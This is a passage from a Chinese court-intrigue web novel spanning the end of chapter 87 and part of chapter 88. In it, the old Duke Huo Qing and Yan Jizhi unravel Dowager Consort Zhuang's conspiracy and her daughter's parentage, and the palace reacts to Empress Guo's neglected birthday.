晏霁之莫名有点激动:“可是您身故之后啊,您就有把握生前能料定身后事?” 霍擎笑了:“娃娃呀,你看,若是霍枫叶他找不到灵渠,老头我没剩几个月的时候他把事情告诉我,没有揪出这假霍桑柔,我大概怀疑不到庄太妃,但,郢国公府可能逃得掉吗?我会要让郢国公府付出什么代价,能是死几个人就够了?” 晏霁之神情莫测:“您会想要让鞠家付出什么代价,不只是满门抄斩?” “小娃呀就是年轻,人家想要将我霍家生吞活剥,一个满门抄斩就能够?”霍擎被逗乐得丝毫感受不到他神情中的狠劲儿,连狠话都透着乐:“我若来不及把鞠家九族都送下去,怎么着也得送个三族吧,不然老头我这辈子不是白活了?” 晏霁之被拓展道:“您年前就不想留佟家了?这桩阴谋,您更倾向于不是佟家做的,但既然霍海啸他们都认定佟家,您就默认,其实只是您不想再留着佟家了?” 霍擎瞧他眼,一种高深的诡秘若隐若现:“你不是也不想留佟家了?” 晏霁之微愣下后笑了,可不是嘛,他拎起搁在桌边的茶壶给两人的茶杯倒满,求教道:“可毕竟是身后事,您拿什么保证您的计策不会出变故?” “你看会有人家想走你曾祖父的路吗?”霍擎捧茶盅喝茶,浑如是件不值一提的小事,然而这对晏霁之却像是打开新思路一般惊奇:“您的意思是?” “给鞠家指个方向,鞠家还能生不出心思来吗?”霍擎放下茶盅,眼底渗出阴沉:“鞠老头走在我前头,他多放心啊,他可不觉得鞠家被显国公府反超是什么坏事,甚至于他还觉得这是他运筹帷幄而来,让薛家来和霍家斗,他鞠家坐收渔利!” 晏霁之真震撼了,所以,前世霍家真的都是报了仇的。 前世,老穆国公生前定计令鞠家被夷三族! 灵渠?晏霁之恍然再被惊讶下,霍灵渠八岁离家竟然都能料准。 “一座异姓王府,四大国公府,五家中确属郢国公府鞠家最像能笑到最后。”晏霁之有见地的提议:“所以我们四家应该联手先把鞠家干掉,省得被占便宜。” “是啊,都是老狐狸,谁还是个傻的?”所以霍擎越看那死老头越看不上眼。 晏霁之忍俊不禁,下瞬又惊觉个症结:“边境安稳后,郢国公府?” 霍擎乐了,不得不赞:“小子,你够敏锐。”顷刻间他又冷笑:“整场宫宴,郢国公府藏得多好啊!我那太上皇女婿当场没想到,过后深究还会揪不出鞠家来吗? 他能相信庄氏独个儿能在我霍家办出这种大案来吗,就在他眼皮底下,十几二十年啊,他竟然都不知道庄氏和郢国公府关系匪浅,何况这阴谋的重重算计,还是在鞠家和霍家交好时做下的诡计,这鞠家得是个什么人家,鞠家还想能留得住吗?” 哎!晏霁之心底默念惭愧,担不起您赞誉,我压根儿没想过太上皇能揪出郢国公府,我是以前世来推测,按您给鞠家指的方向,战事结束后,太上皇还能留着鞠家吗? “您老对这场阴谋和庄太妃幼女的身世都没疑虑了?” “死掉的老郢国公不能吃鳕鱼,一沾就浑身瘙痒起红斑,他儿孙们都遗传到这毛病了。”霍擎喝口参茶,冷嗤道:“两个假冒货被皇帝关在辽阳,老头我派人去试过了,没烧伤的假冒货吃了颗鳕鱼丸就浑身瘙痒起红斑,还能不是鞠家的种吗?” “鞠家人还有这样的毛病?”晏霁之讶然:“这么说,庄太妃是因此才想让幼女假死,在她发现幼女的症状甚至于在她幼女刚出生时,她就酝酿好了?” “说吧,怎么查到郢国公府的?”霍擎老眼凝起锐利的视线锁住对面的年轻人。 晏霁之捧茶盏喝两口茶,淡定道:“三年前有批死士潜进镇南侯的府邸残杀年轻女眷,嬴天漾传信给我,让我帮他查查这批死士是否出自京畿?我查了整整两年。 一年前,立国百年,陛下在京畿各大营阅兵,见识到郢国公操练的将士的招式阵法,我最终定论就是郢国公府的死士;但阿漾和郢国公府没有过节,问我是不是查错了? 假冒货嫁进武襄侯府后一直未有孕是我做的,我本意只是不想节外生枝,揪出庄太妃,我才意识到对于霍家这场阴谋或许我根本就判断错了。” 他再编点假料:“我埋在庄太妃身边的眼线曾报,庄太妃查到霍灵渠是镇南侯的妾室。”由此,晏霁之总结:“故而,在和灵渠谈论以前,我一直猜是庄太妃请动了郢国公,这才有三年前郢国公派死士残杀镇南侯府的年轻女眷。” “和灵渠聊过,我意识到是我想少了,郢国公府应该自始至终就参与其中。”晏霁之看向老人家感慨笑:“直到今夜,您老又给我这么个大秘闻。” “不错,你小子的敏锐性很不错,老头我都未必能把这两件事联系起来。”霍擎夸声,晏霁之真谦虚:“晚辈惭愧,我只觉得在您老面前,世间事像是都没有秘密。 这场阴谋之所以十多年没被霍家察觉就是因为这十多年他们只是在蛰伏吧,否则他们运作起来,霍家绝不会察觉不出;毕竟熟悉是相互的,老郢国公凭着对霍家的熟悉做下阴谋,当阴谋浮现,您当然首当其冲怀疑他,这场阴谋在霍家只会溃败。” 面对年轻人的赞美,霍擎一根眉毛都没动:“那么你看来,这阴谋溃败在何处?” “眼高手低,大而无当,高估自己低估对手,毛病太多了。”晏霁之好笑:“连客观评估自己和对手都做不到,这种阴谋又怎么可能会成功?” “换作你,你怎么做?”霍擎再问,晏霁之答:“换做是我,压根儿不会费这份心思,您老给过答案了,自然是给庄淑妃送个男人让他们死在床帏里。” “是啊,所以这死老头只能落到被你这小辈嫌弃,成不了气候,还被显国公府反超。”霍擎没带情绪更没鄙视,仿佛是旁观者一般给个总结,他再喝两口参茶,道:“既然话说了就顺带聊聊庄太妃,依你看,她的分水岭在哪儿?” “你言外之意不是在圣人禅位后?”晏霁之有点意外,霍擎笑:“当然不是,圣人若是在禅位后才对她不满,他立我闺女做继后时,庄氏就晋做贵妃了。” 晏霁之迟疑下还是问出:“他会愿意再册位贵妃?” “放心啦,他对你姑母真心的,你以为他今年才有追尊晏贵妃的心思啊,晏贵妃仙逝时他就想好了,立霍德妃为继后,追尊晏贵妃为后,捧个生死俩皇后。” “啊?”晏霁之错愕:“不至于吧,他立继后时不是什么都没做吗?” “所以问题就在庄氏身上了,他不想给庄淑妃晋位了,他不会再册位贵妃,那又何必再打继后的脸?”霍擎笑得像只大尾巴狼:“猜猜,他何时对庄氏不满的?” “呃,您曾言及:论争宠,在授康十七年以前,庄淑妃称得上是圣人后宫争宠第一人,平常大家称庄太妃厉害可没有年限,就说她是圣人后宫争宠第一人。”晏霁之怀疑:“莫非,任皇后的死是她的分水岭,任皇后死后,圣人就对她不满了?” “对!”霍擎抬抬下巴乐呵:“二十年够长吧,二十年里能让皇帝对她情份越来越深厚,厉害吧;可惜啊,人一生不止二十年,庄太妃陪伴圣人更不止二十年,是三十六年多了,而她的本事只能给她撑二十年,那就很悲哀了,更悲哀的是什么,知道吗?” 这点,晏霁之毫不犹豫:“是圣人对她没情份了,她还浑然不知。” “对!”霍擎应道:“前二十年,庄氏在圣人心里一直在增份量;后十六年,庄氏在圣人心里一直在减份量,可惜她始终当她停留在她在圣人心里最有份量时。” “若不然,她会送盒枣就想打消掉太上皇对她的疑心吗?真不嫌会被魏王笑掉大牙。”晏霁之无语,霍擎却道:“若在授康十五年,能。” 晏霁之愣了愣惊诧:“能?” “能!”霍擎肯定,晏霁之难以置信:“一盒枣而已,有什么特殊含义?” “自授康十八年以来,圣人对他外祖家好吧?”霍擎点拨道:“其实啊,圣人给朱家的这份泼天荣宠,庄氏是能拿得到的,是庄氏自己把这份荣宠葬送掉了。” “圣人这十五年来对朱家的好不是在给补偿吗?”晏霁之都糊涂了:“他母亲生前想让朱家晋国公爵想让朱氏女登高位生皇嗣,他都未允,所以才有后来他对朱家的泼天荣宠啊,难道不是吗?纵然不是,这和庄太妃又能有什么关系?” “当然不是,补什么偿,他有何对不住朱家,不给朱家升国公爵、不让朱家女登高位生皇嗣,这叫对不住朱家?”霍擎无语凝噎得够了:“发什么昏,人家是至尊,天下至尊啊!按你这种心思去揣度天下至尊,不是脑子坏掉了?” 呃?好像有道理,晏霁之怪道:“那,圣人他对朱家是什么心思?” “唉,圣人也是人啊,也想有家人的感觉。”霍擎叹息:“父母不在了,连挚爱都死了,他心里很空。温献皇后薨逝后,他大半年没近女色,是他把自己封闭了。 可他又能把自己封闭多久?不得不面对这个已经没有挚爱没有父母的人世间时,他心里空空的,他会想要找有家人慰藉的那种感觉,当时,放眼后宫,谁呢?” 霍擎笑了:“庄淑妃呀,当然是她,所以那个时候是圣人对她情份最深厚的时候,庄氏自己当然也很清楚,她能够给予圣人寻常百姓家那种家人的温馨感。” “这是当时整个后宫的独一份,她已跳出嫔妃的层面成为了圣人的家人。”话锋一转,霍擎客观评叙:“可惜啊,她以为圣人把她当成家人过就能永远被圣人当做家人,心态一直停留在她在圣人心里的巅峰时,在圣人面前都成睁眼瞎了。” “看不出她在圣人心里的巅峰转瞬即逝,看不出圣人对她越来越多不满。”霍擎敢说:“争继后位时若能有第二个混淆视听的,根本轮不到她出头。” “混淆视听?”晏霁之惊讶:“圣人没有在霍德妃和庄淑妃之间犹豫过?” “当然没有,原配媳妇死前他就想好了,立霍德妃为继后,霍家做后族,但他真想过给庄氏晋位。”霍擎摇头:“可你看,庄氏自个儿作掉了还浑然不觉。” “可?”晏霁之不懂:“若是圣人对朱家的好是将朱家当做家人的慰藉,庄氏都能将这份能拿到的荣宠作掉,圣人怎么会能忍受得了不厌恶朱家?” 霍擎反问:“庄氏和朱家能有得比?” 晏霁之一愣,立时恍悟:“朱家是圣人的外祖家,当圣人想把朱家当做慰藉时,不管朱家什么德行都被会圣人当做是给予他的慰藉。庄氏不同,她必须要让圣人满意才有可能得到这份殊荣,圣人对她不满时当然会自觉将她踢出慰藉的定位。” “看得出来,庄氏败在哪儿了吧?”霍擎再问。 晏霁之嗯道:“我以前觉得是她贪得无厌,现在,我想应该是她自以为是。” “是啊,淑德贤三妃,淑妃排名最前,圣人把淑妃位给她难道会是随意给的吗?当然是有意为之,她可以和圣人很有情份。她和郢国公的往来更隐秘,她可以把这桩秘事封死,可她偏想把幼女送进我霍家来。”霍擎摇摇头,懒得再说了。 “其实能推测出来,第一,她不会让她的幼女埋没在乡野间;第二,她九成会选霍家来做这场阴谋,这也不是事后诸葛亮,就是按她的性情能够推测出来。” 晏霁之想尽量客观评述都忍不住嗤讽:“二十年前的庄淑妃在后宫太顺,把她养得自觉能把天下玩弄在鼓掌间了吧,我近日刚发现,我表姐很可能也是她害死的。” 霍擎微讶:“你表姐,圣人的四公主?”他老头略想想不由得叹息,正经教考道:“你有让太上皇猜疑他六公主身世进而查到真相的办法吗?” 晏霁之按压住浮躁愤懑,考量道:“镇南侯府后宅住的都是嬴天漾手下将士的家眷,三年前的账若非还有疑虑,他们早就冲进京要讨这笔血债了。 要么让阿漾上奏,敞明了向郢国公府要交代,再让太上皇知道他的六公主不能沾鳕鱼,就是不知道圣人能否将这两者融会贯通?可若是霍家介入,就怕适得其反。” “你没想过让他们自己说出来吗?”老人家提点,晏霁之怀疑:“这可能吗?” “你当鞠太妃的十皇子怎么死的?”霍擎提供可能的方案,晏霁之愣下豁然开朗:“我以为是圣人自己做的,这是…是我想错了,这应该就是庄太妃做的才对?” “不是我这女婿,倘若霍家刚晋做后族就如此针对,那又何必把后族的位置给霍家,这不成没事找事了吗?他只是顺水推舟而已。” 霍擎语重心长道:“你呢,看得还浅点,正常,你还不到三十岁还很年轻,你已经很了不得了,你现在就能比老头我四十岁时。 不要自满自负更忌讳盲目自大,世间任何事都值得咱们保持谦逊,虚怀若谷四个字能让人终身受益;更不要急,慢慢磨慢慢炼,你五十岁时就能有老头我七十岁的能耐了。” “霁之惭愧!”再听不出来老人家是有意教导、他就是傻的,晏霁之站起来退后几步,附身给老穆国公行大礼,行礼毕,他回座位,提个很讽刺的点:“庄太妃对郢国公府的意图再明显不过,当年十皇子没了,鞠家竟不怀疑庄淑妃反而猜疑霍家吗?” “老头最近也觉得好笑,从废楚王兄妹被诛到晋王娶妻前,庄淑妃避在小佛堂,对外一副心如死灰的模样,鞠老头就真觉得庄淑妃要向佛了?”霍擎终是难掩伤感:“他真眼瞎啊还是他看不上我,他屈居在我之下早已积怨深重?” 晏霁之想,已故的老郢国公应该就是自视要比霍家强的心态吧,故作打趣:“灵渠说,祖父教她,金元宝能治百病,我给您捧堆金元宝过来?” 霍擎老太爷默下,敛尽多余的心思靠在椅背里缓口气,交代道:“庄太妃幼女的身世,老头我对霍秦川霍漓江都没提过半个字,我霍家只帮郢国公府查十皇子的死,剩下的,你和陛下去安排,别让老头失望,定要让太上皇亲耳听见他的六公主是谁的种。” “好!”晏霁之痛快应承,霍擎礼尚往来:“想要什么尽管提,甭跟老头客气。” “您老寒碜我了。”晏霁之大方笑:“但我确实有事想请教,您能救护国公府吗?” 霍擎模棱两可:“你个娃娃总该晓得太上皇心意已定了,圣人他已经失败过两次,这可是第三次,他能让自己这样闹笑话吗?你觉得还能有转圜的余地吗?” “我想管闲事既是恻隐之心更觉兔死狐悲,您老应该更清楚,鸟尽弓藏不远了,咱们,唇亡齿寒。若能保住护国公府,对我们两家都有好处。”晏霁之注视对面的老人,真诚道:“旁人或许束手无策,但我想您老应该有办法。” “不如先说说你的想法,老头看你更有想法。”霍擎神情淡淡的,言谈却似透析对面年轻人内心般肯定,晏霁之感佩:“真是什么都瞒不过您老人家。 我想既然朝廷要在今年同时办海禁和整顿江南,小动不如大动,干脆,整顿贪腐、精简吏治裁冗官、重修商法,全都办了。这一件件事办起来,朝廷将会比陀螺还忙,太上皇自然顾不得护国公府了,只是我唯恐不能说服太上皇同意。” “你个兔崽子真敢想啊。”霍擎乐了,继而感慨:“但你确实有心了,既想搭救护国公府又要把自己摘干净。圣人当然不可能同意,你能拿什么劝说圣人?” 晏霁之桃花眼弯弯:“太上皇想求长生不老,他还能忍耐几年?” 霍擎老眼锐利但只露三分锋芒注视眼前还不到而立的年轻人,他观察半响后朗笑 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“不用那么文绉绉的。”霍擎捧着茶盅靠在太师椅中晃悠圈,评估道:“你想暗示太上皇把势力梳理遍好为他重登大宝做准备?相比起来,护国公府当然就不是事了,但这前提得是皇帝跟他翻脸,你能让皇帝跟太上皇在明面上撕破脸皮吗?” 晏霁之实在道:“大约是不能的,所以才说唯恐不能说服太上皇,所以才想请教您。” 霍擎扔只桃给对面的年轻人,再拿只桃在自己的衣袍上擦擦就啃。晏霁之觑眼老人家,默默拿起水果刀削皮,老人家看不惯:“矫情啥呀矫情。” “是流光给我惯出来的。”晏霁之推卸道:“已经惯成习惯,害我改不了了。” “呵呵!”老人家想起要算个账:“你跟我孙女吵架后你让我家灵渠睡软塌?” 晏霁之狡辩:“您误会了,这是我和她的乐趣,我装生气,她会多献献殷勤。” 霍擎给他个白眼,然后啃桃子,结果他老头把只桃子都吃完了,对面的年轻人把鲜桃削皮又把桃肉切成小块小块,才刚拿竹签签起块桃肉吃,看得他难受呦:“我家舒窈和灵渠都没你这样的,你个大男人这样拧巴,你还有点男子汉气概吗?” “这只是日常生活习性不同,您粗放,我精致。”晏霁之拿竹签签块桃肉递给老人家,霍擎嫌弃得不要,搓搓手,拎起茶壶把两人的茶杯倒满,他老头喝茶。 晏霁之将切成块的桃肉吃完,拿手绢擦擦,又慢饮两口茶,拉回正题问。 霍擎反问:“授康十九年、授康二十八年,圣人两度想拔起护国公府都没成。授康二十八年,盖赖魏王拼死担保护国公府清白,魏王身后有军队保他,这才逼得圣人退让,给原家求到喘息之机继而得以峰回路转;授康十九年,因为何故呀?” “我祖父生前说,是因当时北境没有护国公府坐镇不行。”晏霁之答,霍擎点头:“对,授康十九年,圣人的同母亲弟齐王造反,圣人想趁机把护国公府归入齐王乱党,可北疆三国联军大举南下,他把鞠老头和薛老头派过去都扛不住。 国境内齐王叛军又势如破竹,我和你祖父当时都要坐镇京中,圣人也不放心我们离京,他又对老秦王忌惮深重,所以他不得不退让,重新启用老护国公。” “您是指可效法十四年前,让圣人知道北境没有护国公府坐镇不行?”晏霁之犹疑:“可如今原家在北境早已不是不可替代的了,否则怎会五年前他就想再动护国公府?” “在北地和契丹做生意,谁家最猖獗,晋王又和谁家最亲密啊?”霍擎问。 “昌隆侯府朱家。”晏霁之蹙眉:“您老觉得蜀王会压不住朱家吗?” “当年肃宗皇帝册立继后,朱皇后想给娘家求国公的爵位,被你曾祖父拦住了,没成。朱皇后熬到做太后,想给娘家升国公府,又没成。”霍擎笑眯眯的:“你晓得为啥吧?” 晏霁之心中咯噔声真有点难以置信:“难道是……是因为我姑母吗?” 霍擎令年轻人失望的赞同:“对啊,谁叫朱太后自作主张害儿子的心尖尖呢,温献皇后都被害得生不出健康的孩儿了,是朱家女不生皇嗣就能够赎的吗?但,大家也是真没想到,圣人居然真能扛住亲娘的软磨硬泡寻死腻活,硬是不给外祖家升爵位。” “他,他真有那么在意我姑母吗?”晏霁之眉眼低落总有点不是滋味,霍擎失笑:“你曾祖父过世后,朝堂多少大臣就等着圣人清算英王府,可他却因晏贵妃而始终下不了狠心,这是何等份量?少年慕艾,他动真心喜欢还是唯一爱的女人,该是什么份量?” 晏霁之默然,忽而嗤笑声,感觉真不是滋味:“昨夜,我爹说三十年前他也热忱激昂,他年轻时应该也令忠臣良将倍感期待吧,他何苦让他的晚年变得面目可憎啊?” 霍擎稍微有感触在心底叹息,靠在太师椅里,松弛的眼皮耷拉着,也安静着。 晏霁之抬手捏捏眉心,缓过情绪,重申道:“您老觉得蜀王会压不住朱家吗?” 霍擎似答非答:“晋王挑媳妇时,庄淑妃在显国公府和昌隆侯府之间犹豫摇摆,是平原长公主很有意向而昌隆侯府压根儿没想法,晋王妃才出自薛家。可圣人禅位后,晋王反而和昌隆侯府私下往来愈发亲密,都超过岳家了,为啥呀?” “朱家想裂土分封,太上皇不会给,皇帝更不可能,晋王才有可能。”晏霁之道:“陛下和圣人必定都有数,就是没把晋王当回事儿便由着朱家瞎折腾了。” “是啊,自授康十八年起,圣人对朱家的泼天荣宠,朱家自信这是圣人给朱家的补偿,朱家自觉摸清了圣人的心态,十年前就有恃无恐了。”霍擎啧啧。 晏霁之愣下:“十年前就有恃无恐?”若是朱家十年前就敢有恃无恐了,今朝呢?他似意识到症结又像难以置信般看向对面的老穆国公:“您的意思,若没有护国公府,昌隆侯府会想要侵吞北地,他家不会再把蜀王或者其他任何人家看在眼里?” 霍擎装装高深莫测:“圣人不知道外祖家走私生意做得多猖獗吗?他知道,圣人不知道昌隆侯府十几年来罪行累累早够满门抄斩了吗?他知道,可他愿意宽纵外祖家。” “但他不知道他的外祖家仗着他的宽纵都已经不把他放在眼里了?!”晏霁之福至心灵就觉得脑海中有股自发形成的思绪在推着他:“多年宽纵令朱家笃定圣人绝不会治罪他们,北境若没有护国公府压着,朱家将越过圣人的意志侵吞北境,北地必乱。” “哈哈哈……”霍擎拍大腿大笑:“兔崽子,这话可不好乱说。” “前年,朱家在湘西私挖金矿,这就是满门抄斩的死罪了;去年,朱家私自铸币,私自铸币可视同谋逆,太上皇居然还能装聋作哑,他真不知道还是假装不知贪得无厌永远不会有满足时呀?”晏霁之冷嘲道:“对朱家放纵至此,朱家还能忌惮他吗?” “好啦好啦。”霍擎摆摆手,总结陈词:“刀都架到脖子上了,难道护国公府会愿意白白等着被宰吗?原家可都在圣人手中躲过两回死路了,这得是啥运道,急啥呀?” 晏霁之忽然就想笑了:“对,您老说得对。” 霍擎喝口参茶,冷不防抛下:“国师前些天透了个消息,圣人相信他只剩六年的命了,但圣人觉得拿我家灵渠来炼药能让他延年益寿长命百岁甚至长生不老啥的吧,国师说,可能明年可能正徽七年,圣人就要挥刀了,你觉得老头我该相信国师这份好意吗?” 国师真给霍家透过这种消息呀,晏霁之莞尔:“信!” “行吧,老头我就相信年轻人的直觉。” 霍擎貌似随意:“那娃娃你就告诉陛下,圣人在宫宴上没有说出的话是:国舅可真会藏啊,这可真是踏破铁鞋无觅处,得来全不费工夫。” “好!”晏霁之想这暗语是老人家自己猜的吧,以老穆国公的阅历能猜中是正常。 “灵渠有个表哥找过她,你晓得哇?”霍擎没抱指望地探探,晏霁之应:“知道,这位是正徽四年七月寻来,当时我在外地办差,是灵渠想找表哥时跟我提起。 灵渠年前曾想出门找表哥,但她大病场后有些记模糊了。本来今年开春后我要帮她找,可她进宫了,她想就让霍家帮她找吧,这是她提过了?” “昨儿个霍漓江进宫看闺女,丫头提了,还高高兴兴做许多糕点送回来,霍漓江个脑门犯冲的也不知道多问问。”霍擎嫌糟心啊:“正徽四年七月,大半年前,咱家都还蒙在鼓里,这表哥怎么晓得济善庵里的是假货又怎么找到灵渠,这问题不大了去了吗?” “是很可疑。”晏霁之腹诽:反正只能是这表哥来背黑锅,他就帮表妹担着吧。 “唉!!”霍擎透透气暂放掉疑惑,最后问:“你想和灵渠再续前缘?” 晏霁之愣下笑起来:“您老能看出来不奇怪,但晚辈还是想请教您怎么察觉的?” 霍擎沉寂稍许,低缓的语调沁出丝哀涩:“老头想,你该把灵渠送回来,和贵妃偷偷摸摸藕断丝连,你不屑,可你为什么没把灵渠送来霍家? 除非是你没想断!对啊,是皇帝把人抢走,你凭什么因此就放手?皇帝能硬抢,你为何不能想反逼皇帝?这才是晏霁之会想也可能会做的事。” 晏霁之认道:“是,我想让嬴忱璧把灵渠还给我;您放心,我不会牵连霍家。” 霍擎背靠在太师椅里,抬手揉揉太阳穴醒醒神:“灵渠会出宫见你,是出乎我意料的。你们想折腾就折腾吧,老头还活着,霍家还折腾得起。” 沉默片刻,晏霁之站起来退后几步,附身作揖再给老人家行个大礼。 将燃尽的烛辉沾染些许昏黄,瞬间犹似凝固,敬重相拜的轮廓镶进岁月的记忆深处。 夜黑漆,晏霁之靠着廊前的微弱火光慢步走过,行至月洞门遇见火光飘动,他淡定瞧出是提着灯笼的霍海啸,怨道:“大半夜不睡觉跑来吓我,你太有闲情了吧?” “我是等着要揍你,没想到祖父和你聊这么久,我只能下回再揍你,今夜改送你出府。”霍海啸遗憾,晏霁之礼貌道:“行,谢你了,我是指谢你特意送我出府。” 他们来到霍府府门前,晏霁之坐马车离去,霍海啸转身回自家,唯留挂在府前的红灯笼夙夜守候,烛光虽微弱渺小,也给孤寂的深夜添些暖意。 第二日清晨,阳光洒遍街巷,霍鸳娇端着架子来通知嫡母,她姨娘怀孕了。 在此前,霍鸳娇和她同母弟霍超群已经找过父亲好几回,奈何任他们怎么保证是真的,霍秦川都不信更不肯接去娉姨娘回霍家,霍鸳娇才找嫡母。 穆国公夫人崔氏这把岁数听着都嫌臊呀,都不知用什么心情把庶女打发离开的,夜里和丈夫商量还是把娉姨娘接回来吧,这样在愗郡公府住着实在不像话:“要么就让五哥儿去,若是五哥儿的脸面不够,哪怕让雄鹰他们夫妻出面呢,总归得把人接回来呀。” 霍秦川若有所思状而眉眼间冒出兴奋,他憋着笑对媳妇说:“夫人,我想到个好主意,你附耳过来,我与你说。”然后就把他媳妇给说僵住了:“相公,这、这……” “这简直太好了,我简直是天才,我居然能想到这样的好主意,就这么办了,夫人,明日你就让儿媳妇去办吧。”霍秦川笑得简直要乐翻天,崔氏:“……”相公哎!! 88. 第88章 往年郭皇后千秋,皇帝和太上皇霍太后都会有赏赐,众嫔妃和官眷们恭贺、进出送礼能整上午络绎不绝,皇帝还会传令歌舞百戏助兴,能热闹一整日。 今年郭皇后二十八岁生辰还和立夏同日,按理更该是热闹的好兆头,谁想椒房殿清冷,霍太后仅是暂停传儿媳妇立规矩,皇帝和太上皇也仿佛不知道,没有赏赐,也没人来祝寿,建威侯夫人进宫来撞见皇后被冷待至此,她简直是不敢相信?! 在椒房殿没坐一刻钟,她就带着小孙女风风火火赶往钟萃宫。 “圣人和陛下清早就率百官去京郊举行迎夏仪式了,今年皇后生辰和立夏同日,许是事情多就给耽搁了;侯夫人莫担心,皇后娘娘千秋定然要庆贺的。” “娘娘您是皇宫中最良善宽和之人,您就给臣妇透个底儿,陛下是否厌弃皇后娘娘了?十多日来皇后在长春宫受尽苦楚,陛下不闻不问,今日是皇后的生辰呀,这般冷待还不是在打皇后娘娘的脸吗,哪怕念在大皇子和二公主的份上呢,陛下何至如此啊?” 建威侯夫人拉着皇帝最宠爱的嫔妃哭得泪流满面,她带来的抱着三岁奶娃的嬷嬷在暗中狠狠掐着奶娃,受痛的女娃娃哭得撕心裂肺,她就在小孙女的痛哭声中几乎要跪下来:“若陛下真厌弃皇后了,皇后不知,还要凑到陛下面前岂不也惹陛下烦闷吗? 娘娘就行行好告诉臣妇吧,皇后和建威侯府绝没怨言,要怪只怪自己不能讨陛下欢心;若是陛下当真厌弃皇后和建威侯府了,皇后和郭家定然缩起来做人,绝不会不识趣地再凑到陛下面前惹陛下生气,只求陛下念及骨肉情莫厌弃大皇子和二公主啊……” 满殿响彻奶娃的哭声和老太太的哀痛哭诉,看着可怜极了,令愔夫人被闹得几乎想应承帮忙些事时心腹拦住,钟萃宫的管事姑姑也是令愔夫人从娘家带来的胡姑姑微笑着强硬扶开皇后的母亲再陪着打太极,任对方怎样卖惨,就是不让主子受骗。 最终,建威侯夫人铩羽离开,令愔夫人目送她们消失,叹气:“姑姑又是何必?” 钟萃宫的贺礼早备好了,原本今早要送往椒房殿,是胡姑姑察觉到事情不对劲硬劝娘娘再稍等会儿,往年陛下提前几日就会让教坊司排演好歌舞百戏,可今年却始终未见有动静。也还好今早这礼没送过去,不然独钟萃宫送贺礼就太惹眼了。 “娘娘您心好,可椒房殿有真心对您吗?什么都还没定论,他们就这样来哭天抹泪的,还不是想拿钟萃宫当枪使吗?他们有真心会一上来就想着利用您吗?” “是不对劲,这都算在冷落皇后了。”令愔夫人谅解道:“他们着急也在情理中。” “再在情理中也不是利用人的托词呀,陛下若有意敲打,皇后不能自己告罪,建威侯府没人能出面请罪吗?他们若是个实在的,想都知道眼下应该自省,等着陛下回宫后去请罪,能这样眼巴巴得就来撺掇着您去帮椒房殿做事吗?” 也许椒房殿只是想策万全,毕竟……令愔夫人迟疑会儿,终究还是没反驳胡姑姑。 翁美人就果断了,或者说她就没怀疑过人家憋着坏,郭家人过来拾翠阁,刚扮上哭腔,她麻溜装不舒服,就不信郭家能这样没脸没皮得还想指使她办事?! 自是担不起害皇嗣有闪失的罪名,是故,建威侯夫人明知翁美人是在装也只能憋屈着安抚下就离开。走出拾翠阁,她踌躇下没再去找喻秀仪,悻悻回去了;刚进椒房殿,大儿媳妇迎上来告诉她,皇后在闹脾气,她顾不得别的,赶忙去宽慰女儿。 杭婕妤目前虽然在半养病状态,对皇宫中盛行的消息还是灵通的,何况郭皇后今年生辰得到的待遇与往年截然相反就在台面上摆着呢,有眼睛都看得见。她现在反倒期盼郭皇后在离宫前都别失宠,更想不好今夜该不该去椒房殿劝慰皇后。 “要是别人都不过去就你过去,这样招眼的,可不得让陛下知道吗?”杭太太不赞同:“你亲生的闺女现在都被带去别处养着了,陛下如果再生气,公主啥时候能回来呀?” “翁美人就快要生了,令愔夫人透过话,翁美人生产前肯定会把大公主给我送回来。”杭婕妤不以为意:“何况我就算要去椒房殿也是夜里过去,陛下不会知道的。” “可妮儿你找皇后做啥呀?”杭太太不解道:“你不是说这是因为皇后触怒陛下,陛下在敲打皇后吗?人家皇后都被敲打了,你再凑过去还能有啥好果子吃?” “陛下和皇后是原配夫妻,陛下重情,兴许过几日就能气消了。就算陛下和皇后疏远,我对皇后示好对我总有好处。”杭婕妤对这笔账算得清楚,她绝对不亏。 “好比眼前的选秀,我想拦住忠毅伯府的姑娘进宫来,少不得就要借皇后的手。皇后能做的事可比我多多了,向忠毅伯府报仇有皇后和建威侯府帮我总比没有强得多。” 杭太太识字不多但账肯定算得清啊,要是向着皇后有好处,她们当然该去看皇后。 经母亲赞成,杭婕妤再思量番也就下决心了,今夜里她就去椒房殿‘雪中送炭吧’。 同住在皇宫的四方城中,太妃们住得再僻静又岂会不知椒房殿的笑话?鞠太妃用过午膳,既没瞧见皇帝回宫又没瞧见御前内监给皇后送生辰礼,闲不住地去找庄太妃。 “你不是说皇帝对郭皇后母子有愧吗?今儿这么打脸,也能叫做有愧?” “郭皇后的庶弟被褫夺秀才功名当夜,皇帝进椒房殿后大怒离去,你没收到消息?” “我知道!”鞠太妃表明:“可什么事能让皇帝还要在皇后的生辰日打脸?” 庄太妃拨着佛珠,一副闲适的模样给建议:“你想知道,向班丞相和御前总管打探呀,当夜他们就陪在皇帝身边,旁人不清楚,他们两位还能不清楚吗?” “哼!”鞠太妃心情尚好就没奚落她的暗桩也不过尔尔:“哎,你知道了吧,圣人要调护国公回京来,派我大哥镇守北境,四月二十一就要颁旨了。” “是蜀王挂帅,郢国公辅助蜀王。”庄太妃平淡纠正,鞠太妃不屑:“蜀王连战场都没上过能懂什么呀,还不是就担个名头,最后落实起来还不得全都仰赖我大哥吗?” 庄太妃淡淡笑笑没争辩,鞠太妃兴趣浓厚道:“嗳,你听说了吧,契丹年前又发现座金矿,契丹现在什么都不多就黄金多。在北境和契丹做生意的那些人全都赚翻了,你家晋王在北境一年也都能赚到好几十万两吧?” “把护国公调回来是不错。”庄太妃看她眼,答非所问:“省得原家碍手碍脚。” 国家在和契丹打仗,在北境和契丹还能做什么生意?自然是走私生意,沿海走私猖獗而北疆的走私更甚,毕竟两国在打仗;可有权贵带头有利益诱惑,打仗又算得了什么? 皇帝在申时初回到皇宫,已是红日偏西时。上午迎夏仪式结束,皇帝还亲自护送太上皇回太微宫,又在太微宫陪太上皇用过午膳,皇帝他才起驾回皇城。 御前总管蒋厚运禀告,建威侯的家眷还留着在椒房殿,皇帝没在意,更不觉得皇后和郭家会因此冷待就过来打探情况。未想,郭皇后没来,英王世子晏霁之来求见了。 “前日,富阳县刚送到京城的安顶云雾,霁之尝尝味道如何?” 皇帝嫌在殿中闷,带着臣子来湖心亭畅谈,宫人们备好茶水后尽数退避到九曲回廊外。凉亭中好似有清风浮动,湖面波光粼粼,瞧着就像能放松心情。 “贡茶自是极好。”晏霁之没闲情陪皇帝闲侃,直接抛雷:“前天夜里,臣往霍家议事,老穆国公推测,庄太妃的幼女极可能是她和郢国公生的女儿。” 